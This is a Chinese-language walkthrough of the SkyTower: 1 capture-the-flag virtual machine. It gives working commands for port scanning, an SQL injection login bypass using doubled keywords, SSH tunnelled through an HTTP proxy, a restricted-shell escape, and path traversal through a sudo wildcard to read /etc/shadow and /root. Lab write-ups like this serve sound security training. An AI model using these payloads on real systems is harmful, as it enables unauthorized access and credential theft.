SkyTower Walkthrough
SkyTower Walkthrough
Box Info
官网在这里:SkyTower: 1
The Hack
由于官网只给了 vbox 文件,需要将其导入 Vitrual Box 后导出 ova 文件才能放在 VM 内运行
确定存活的主机
nmap -sP 192.168.186.0/24 |
对目标 IP 进行端口发现
nmap -p- 192.168.186.157 |
发现开放 80,3128 端口,22 端口处于 filter 状态
对开放的端口进行应用版本发现
nmap -p 22,80,3128 -sC -sV 192.168.186.157 |
80 端口开放 http 服务,3128 开放 http-proxy 代理服务
先来看 80 端口,进行目录扫描
dirsearch -u http://192.168.186.157/ |
仅发现 login 页面
访问 192.168.186.157 主页面,发现是登陆页面,而 /login.php 需要登录才能访问
先来看看主页面是否存在 SQL 注入?在 email 和 passwd 输入 '"
尝试闭合引号,回显 SQL error ,说明存在 SQL 注入,而且是以单引号闭合
试试看能不能用万能密码登陆?
email=' or 1=1%20%23&password=123 |
看报错,服务端将等号过滤了,同时将 or 替换为空
既然是替换为空,不妨试试双写绕过
email=' oorr 1 like 1 %23&password=123 |
显而易见,成功了,返回了 john 的账号和密码 john/hereisjohn 且提示我们这是他 SSH 的账号密码
由于之前 SSH 默认端口 22 是出于 filter 状态,且存在 http-proxy 代理服务,猜测 22 端口需要经过 http 代理才能访问
编辑 proxychains 代理文件,添加
http 192.168.186.157 3128 |
并将原来的 sock4 代理注释掉
nmap 经过 proxychains 代理进行内网全端口探测,看看是否存在开放端口
proxychains nmap -p- -sT 192.168.186.157 2>&1 | grep -v "denied" |
发现 22 端口开放,且开放 SSH 服务
使用 proxychains 代理进行 SSH 远程连接
proxychains ssh john@192.168.186.157 |
发现刚建立的连接马上就断了,说明处在一个 restrict 环境中,需要逃逸
尝试逃逸 restrict shell
-t "/bin/sh" |
使用 -t "/bin/sh"
成功逃逸
由于目标主机没有 python 和 python3 ,不能获得 TTY shell
发现目标主机在本地开放了 MySQL 服务
由于我们是通过 MySQL 注入获得 john 的账号密码的,尝试在源代码中读取到目标主机 MySQL 账号密码
登陆目标主机 MySQL 服务
mysql -uroot -proot |
收集 SkyTech 数据库信息
mysql> show databases; |
发现 email 部分的人名和目标主机已登录的用户一致,同时发现 john 的账号密码和用于登陆 SSH 的账号密码一致,这里是否存在密码复用?
只有 sara 能登陆
查看 sara 能执行的 sudo 命令
sudo -l |
发现 sara 具有无需密码以 root 身份读取 /accounts/*
文件和需要密码以 root 身份列出 /accounts/*
文件的 sudo 权限
借助系统允许文件名包含路径遍历字符来进行路径遍历,读取 /etc/shadow 中 root 加密后的密码来破解,但 hashcat 没跑出来
sudo cat /accounts/../../etc/shadow |
那就借助 ls 列举 root 目录中文件,结合 cat 读取看看能不能泄露机密信息
$ sudo ls /accounts/../../root |
/root 中仅存在 flag.txt ,内容是 root 账户的密码
直接 su 切换至 root 身份
$ su root |
读取 flag